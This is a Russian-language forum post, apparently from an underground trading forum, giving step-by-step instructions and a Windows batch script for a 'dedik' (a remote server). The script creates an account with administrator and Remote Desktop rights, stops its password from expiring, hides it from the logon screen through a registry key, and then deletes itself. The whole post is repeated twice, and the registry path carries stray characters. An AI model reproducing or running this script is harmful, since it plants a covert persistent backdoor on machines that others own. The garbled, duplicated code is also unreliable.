- Регистрация
- 28.10.13
- Сообщения
- 13
- Реакции
- 54
- Депозит
- 0
- Покупок
-
0
- Продаж
-
0
Данный код поможет вам быстро создать учетку на дедике Windows с любым языком.
1) Создаем текстовый документ
2) Вставляем в тело документа вот этот код:
Set AdmGroupSID=S-1-5-32-544
Set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do Set AdmGroup=%%J
Set AdmGroup=%AdmGroup:~0,-1%
net user Login Password /add
net localgroup %AdmGroup% Login /add
Set RDPGroupSID=S-1-5-32-555
Set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do Set RDPGroup=%%J
Set RDPGroup=%RDPGroup:~0,-1%
net localgroup "%RDPGroup%" Login /add
net accounts /maxpwage:unlimited
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W*indows NT\CurrentVersion\Winlogon\SpecialAccoun*ts\UserLis t" /v Login /t REG_DWORD /d 0 /f
del %0
3) Сохраняем файл, в конце приписываем .bat
Так же убираем тип файла .txt
4) Запускаем, создается учетная запись, и файл автоматически удаляется;)
1) Создаем текстовый документ
2) Вставляем в тело документа вот этот код:
Set AdmGroupSID=S-1-5-32-544
Set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do Set AdmGroup=%%J
Set AdmGroup=%AdmGroup:~0,-1%
net user Login Password /add
net localgroup %AdmGroup% Login /add
Set RDPGroupSID=S-1-5-32-555
Set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do Set RDPGroup=%%J
Set RDPGroup=%RDPGroup:~0,-1%
net localgroup "%RDPGroup%" Login /add
net accounts /maxpwage:unlimited
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W*indows NT\CurrentVersion\Winlogon\SpecialAccoun*ts\UserLis t" /v Login /t REG_DWORD /d 0 /f
del %0
3) Сохраняем файл, в конце приписываем .bat
Так же убираем тип файла .txt
4) Запускаем, создается учетная запись, и файл автоматически удаляется;)
